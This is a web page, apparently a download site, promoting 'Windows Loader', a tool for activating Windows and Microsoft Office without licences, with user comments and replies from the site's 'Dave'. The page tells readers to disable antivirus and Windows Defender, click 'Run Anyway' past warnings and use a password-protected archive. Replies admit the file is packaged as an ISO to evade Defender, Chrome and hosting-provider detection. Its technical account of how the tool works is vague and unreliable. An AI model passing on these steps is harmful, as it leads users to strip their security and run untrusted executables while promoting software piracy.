Activating Windows and Microsoft Office with Windows Loader

Windows 7 Loader is a program developed by Daz crew to programmatically activate most of the Microsoft products such as Windows 7, Windows 8/8.1, Windows 10, Office 2010, Office 2013 and Office 365 for free of cost.

How to Use Windows Loader

  1. Disable Antivirus as 90% of antivirus tools detect our loader as “Win32/ Hack Tool” and will not allow you to even download it.
  2. Download Windows Loader 3.1 From Here (Backup Link 1 | Link 2)
  3. ZIP Password – 123

  4. Run the loader and complete the installation - It will take some minutes. Also make sure you’re connected to the internet.
  5. If you see Windows Protected Your PC message, click more info and choose Run Anyway option.
  6. Restart your computer after the installation.
  7. Enjoy your permanently activated genuine Windows and Office copies.

May 2017 Update:
Windows defender now blocks Windows Loader. If you experience this problem, please turn off Windows Defender Realtime Protection before downloading!

Oct 2016 Update:
If you’re getting “Connection Timed Out” or simply nothing happens after clicking above download link, please use a backup link to download.

What is Windows Loader?

As mentioned earlier, Win Loader is a tool designed to activate many Microsoft products without using genuine licenses. It may look illegal to most of people but this is a security hole in their operating system that they didn’t pay much attention to. We take the advantage of it to activate their products for free. Windows loader first released in 2009 and it’s near to 5 years now but it still works as same as before.

Who is behind it?

That’s the biggest question we have been asked by people. Well, to answer this question, I have to mention about the TeamDaz. Daz is the main developer on the team and there are 6 other members currently work with him. All of them are experts in computer programming and ethical hacking. They don’t like to reveal their privacy in public so we are not going to talk anymore about the Daz crew.

How It Actually Works?

When you click the activate button, first it tries to connect to one of the KMS servers available. KMS stands for Key Management Service which is used in Windows operating systems since 2006 to perform windows and office product activation tasks. There are hundreds of KMS servers available from various software publishers around the world. After it successfully established a connection with a KMS server, it downloads the necessary token files (.tc files) it needs to activate the specific Microsoft product. It can be Office 2013, Windows 8, Office 365 or anything. It doesn’t matter what product you are going to activate with Windows Loader, because it just works with any of them. That’s a big plus point in windows loader and you don’t need to find separate loaders to activate all your software.

How It Modifies the System Registry?

A good question! Most people will be interested to know what changes the loader makes to their windows registry. First it finds the unique registry path containing the KMS activation entries on your windows installation. It is different from one installations to another installation. After that, it downloads the necessary tokens it needs to activate your chosen Microsoft product and replaces the old ones in the location it previously found by searching for the registry entries with the newer downloaded ones. Finally, it create an additional registry key for logging purposes and save the current time stamp to it. That is the only change it makes to the windows registry and it will help you to debug any errors usually occurs while the KMS activation process.

Is It a Simple Process?

You may feel it like a simple process after reading above paragraph. But practically, it’s not that easy. The main challenge the team faces is the constant security updates released regularly by Microsoft. Creating a windows loader will not take more than a few days to well experienced programmers, but maintaining that loader to compatible with all the frequent windows updates is the hardest and most important part of the development cycle. That being said, the windows loader is completely free and open source project conducted by Daz team and it’s completely non-profit project as well. So it’s really nice if you can support the development of this awesome tool by donating even a small amount. How to donate and support the TeamDAZ? Wanna know how? Read on! :)

    • Dave September 4, 2014, 2:09 pm

      Make sure to disable your AV program. It will do the trick.

    It worked :) thanks for the awesome share…

  • Jibran September 8, 2014, 8:27 pm

    At least you and the team are making it easier with your efforts for many folks around the world to install and use Windows without feeling guilty of piracy …. that’s your plus-point and it should be appreciate. If Microsoft has not programmed their software that efficiently, it is not your fault but theirs. Thank you!

  • shc September 11, 2014, 9:15 am

    I know it supports 2012 R2 Standard. When will it support Server 2012 R2 Datacenter?

    • Dave September 16, 2014, 7:32 am

      Hi, Our loader is capable of activating R2 Datacenter edition as well.

    Hi, I currently use windows 8.1 but am down-grading back to windows 7 because I need to dual boot with Debian.

    Will this loader interfere with a dual boot scenerio?

    Thanks, Tourquoise.

    • Dave October 1, 2014, 4:12 am

      Hi, Our Loader doesn’t interfere with dual boots. :)

  • Josef October 17, 2014, 8:04 am

    Hi there.
    How do I disable my Antivir? It keeps giving me Network Error (-2146697208) encountered, install aborted
    And you said to disable your AV. How do I do so?! :( My Windows is genuine but it says it’s fake, and I really need to use this program.

  • Joseph October 21, 2014, 9:18 am

    Well done Dave!

    It works great!

  • Condor June 2, 2015, 6:10 am

    Windows Loader saved me many years ago with 2 different OSs’. Soon I will want to upgrade to Windows 10. Since I currently use Windows 7 Ultimate I will probably upgrade to Windows 10 Pro. For the first year most Windows 7/8/8.1 users will be able to get Windows 10 Home/Pro for free but it wouldn’t hurt to have a crack for Windows 10 as well, right? Thank in advance :)

  • Rhen June 5, 2015, 3:52 pm

    Why the link “from here” is not clickable. I cant download the activator. Please help me. Thank You. :)

    • Dave June 14, 2015, 7:44 pm

      We have fixed it. Thanks for letting us know! :)

  • Pietro June 18, 2015, 1:24 pm

    Hi, I’m using windows 7 ultimate activated with this program, and it works very well, but my question is: will i be able to update to windows 10?

  • Anirban June 22, 2015, 12:46 pm

    Hi! Does it activate Microsoft Office 2007 / 2010 / 2013 / Office 365 ?

  • AsPika June 29, 2015, 3:26 am

    Thanks! I hope will add support Windows 10 Final which released on July 29 soon!

    • Dave July 9, 2015, 9:24 am

  • Jimmy September 4, 2016, 1:10 pm

    I’ve downloaded an .ISO file instead of a .ZIP or .EXE file. Why?

    • Dave September 19, 2016, 11:29 am

      We are doing it to avoid the detection from hosting providers which regularly deletes our file.

  • Rohit September 5, 2016, 10:46 am

    can we download and install windows updates regularly, thereafter ?

    • Dave September 19, 2016, 11:28 am

      Of course you can! :)

  • Ian September 16, 2016, 6:10 pm

    This is so amazing! Even i do updates! It like totally genuine one!!!

    Thanks a lot


    • Dave September 19, 2016, 11:27 am

      Thanks for the comment Ian. :)

  • Ajay October 6, 2016, 11:53 pm

    The latest 3.1 version downloads as an ISO file. Not sure what I’m supposed to do with it? Should I use daemon tools to mount the image to get the executable?

    • Dave October 8, 2016, 6:42 pm

      Hi, We are offering ISO image to avoid the detection from Windows Defender. You can open it by just double clicking on it without any additional software. Hope it helps.

  • x October 15, 2016, 1:42 pm

    Hi, when will you add support for Office 2016?

    • Dave November 5, 2016, 6:21 am

      Hi, Office 2016 Activation is already included in the v 3.1 :)

    hey buddy thank you very much

  • Gramoz August 26, 2017, 10:42 am

    Hi, why is the download an ISO file?
    I thought it was an EXE file..

    • Dave September 23, 2017, 2:36 am

      Hi, This is because of the Antivirus detection and Chrome blocks. You can find the actual EXE inside. Hope it helps!

  • Ray September 26, 2017, 10:22 am

    When i download it opens as a disk burn image file so it does not give me option to run anything ???

    • Dave October 2, 2017, 7:27 am

      You have to open the exe inside the ISO image. To mount the image, simply double click and it will show up in My Computer as a disk drive. :)
